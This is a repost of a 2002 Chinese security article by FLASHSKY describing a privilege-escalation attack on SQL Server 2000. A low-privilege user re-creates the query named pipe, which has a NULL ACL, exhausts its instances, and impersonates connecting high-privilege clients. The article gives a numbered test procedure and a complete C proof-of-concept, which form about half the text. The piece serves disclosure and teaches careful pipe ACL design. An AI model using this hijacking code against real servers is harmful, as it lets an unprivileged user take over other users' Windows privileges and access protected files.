首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>系统安全>文章内容
SQL SERVER 2000通讯管道后复用劫持
来源:www.xfocus.net 作者:FLASHSKY 发布时间:2002-11-16  


SQL SERVER 2000通讯管道后复用劫持

作者: FLASHSKY
来源: www.xfocus.net

SQL SERVER 2000通讯中,允许使用有名管道来进行通讯,一般情况下是如此命名的:
默认实例:\\.\pipe\sql\query
命名实例:\\.\pipe\MSSQL$instancename\sql\query
也可以通过1434 UDP进行查询获得这个管道名称

但是由于SQL SERVER 2000对于这个管道的ACL设置为NULL,导致任何用户的权限都可以对这个管道进行劫持,以前的劫持都是利用先停掉服务,再建立这个名字管道,然后再启动服务来复用自己已经建立了名字的管道,但实际上SQL SERVER 2000会判断是否已有同名管道,然后会取别的名字,而且低级权限的用户也启动和停止不了服务(除非是利用一些漏洞),但是实际上对管道的测试却发现:如果ACL设置成NULL的话,即使是后命名的管道,也可以劫持先命令的管道,只需要简单复用管道,然后自己建立几个管道的连接不释放(具体建立几个估计和真正的管道
建立时的实例个数有关,如在我的测试下,\\.\pipe\sql\query只需要建立1个接可以劫持了,而\\.\pipe\lsass则需要4-5个之后才能劫持。不过\\.\pipe\lsass的ACL只能是管理员才能进行劫持)
如果攻击者复用了同名管道以后,建立起几个不释放的管道(消耗掉了正常管道的实例),然后再有客户发起的管道连接就进入了攻击者程序的管道监听流程,剩下的就是大家都知道的利用模拟函数获得发起者权限的老生常谈了:
下面就是一个简单的例子,实现对SQL SERVER 2000管道通讯的劫持
环境:SQL SERVER 2000+SP2
WIN2000 SERVER中文版+SP3
测试流程:
1。先建立SQL 服务器允许管道通讯,和集成WINDOWS 验证,添加一个具备高权限的允许SQL SERVER登陆的WINDOWS本机帐户,启动SQL SERVER服务
2。C盘下建立一个TEST.TXT文件,设置ACL为GUEST全部拒绝,其他人都许可
3。在另外一台机器B上,以添加的可以登陆SQL SERVER的服务器帐户登陆,然后设置客户端网络库只为管道(如果有多个,可能就会是随机选一个连接,而不肯定是管道进行通讯了)
4。然后用SQL SERVER企业管理器建立一个SQL SERVER的连接,使用集成WINDOWS验证
5。SQL SERVER这边的机器进入GUEST帐户运行下面C代码的程序,会显示先无法打开TEST.TXT文件,然后进行劫持,等待客户端管道连接
6。在机器B上,连接SQL SERVER,然后主机A的程序就会截获这个管道扮演高权限登陆用户,然后可以打开先没权限打开的文件。

当然这个攻击本身实际的意义可能不大,因为估计现在SQL SERVER用管道建立通讯的比较少,而且在都允许的情况下,一般会主动选择TCP方式进行连接,但同时说明了:一个缺乏很好ACL保护的管道,也可以用后发复用来进行劫持,这就减少了很多需要先停掉服务或预先预测的难题,在编写服务器端管道应用的时候也必须小心。

SQL SERVER 2000劫持代码
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>

void main()
{
HANDLE pipea;
FILE * fp;
DWORD ret;
DWORD num;
HANDLE pipeb[100];
int i;
int dwSize ;
char szUser[256];
DWORD dwNumber = 0;
//先的测试,在GUEST权限下无法打开此文件
fp = fopen("C:\\test.txt","w");
if(fp==NULL)
printf("now you don't open file;\n");
//建立起一个同名管道,复用已存在的SQL SERVER的
pipea = CreateNamedPipe("\\\\.\\pipe\\sql\\query",
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT,
100,
2048,
2048,
NMPWAIT_USE_DEFAULT_WAIT,
NULL);

if(pipea ==INVALID_HANDLE_VALUE)
{
ret = GetLastError();
printf("error in createnamedpipe!code=%d\n",ret);
return;
}
//损耗掉其他正常实例
if(WaitNamedPipe("\\\\.\\pipe\\sql\\query",NMPWAIT_WAIT_FOREVER)==0)
{
printf("no this pipe\n");
return;
}
//可以调整个数,SQL SERVER只需要调整一个就可以了
for(i=0;i<1;i++)
{
Sleep(20);
if((pipeb[i]=CreateFile("\\\\.\\pipe\\sql\\query",GENERIC_WRITE|GENERIC_READ,0,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL))==INVALID_HANDLE_VALUE)
{
printf("open pipe failed\n");
return;
}
//WriteFile(pipeb[i],"test1",5,&num,NULL);
//WriteFile(pipeb[i],"test2",5,&num,NULL);
}
//然后等待连接
ConnectNamedPipe (pipea, NULL);
ReadFile(pipea, (void *) &dwNumber, 4, &dwSize, NULL);
//模拟连接进来的用户
ImpersonateNamedPipeClient (pipea);
dwSize = 256;
//获得用户信息
GetUserName(szUser, &dwSize);
printf ("Impersonating: %s\n", szUser);
//然后再测试是否能打开这个文件,证明确实提升了权限
fp = fopen("C:\\test.txt","w");
if(fp!=NULL)
printf("now you can open file\n");
DisconnectNamedPipe(pipea);
CloseHandle(pipea);
for(i=0;i<1;i++)
CloseHandle(pipeb[i]);
return;
}




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·Windows 系统调用功能列表
·windows入侵提权-创建隐藏帐号(
· CC_STACKPROTECTOR防止内核stac
·Linux内核安全研究之Stack Overf
· Exploit The Linux Kernel NULL
·Kernel Locking 中文版
·IA32上Linux内核中断机制分析
·Award BIOS Rootkit,universal
·PHP代码审计
·N种内核注入DLL的思路及实现
·glibc 2.3.5 的一些新安全特性
·Struts2/XWork < 2.2.0 Remote C
  相关文章
·一个安全Web服务器的安装
·使用lilo, grub 和 NT OSLoader
·Win2003安装后调整细节
·运行iis的最小ntfs权限
·三类 2000 系统进程 的总列表
·玩转freebsd内核模块
·各种系统中密码文件的位置
·Linux内核的通用安全支持框架
·关于UINX-Liunx系统的LOG日志文
·路由器默认密码
·在Win2000/XP上安静地替换正在使
·系统超级用户口令的恢复
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved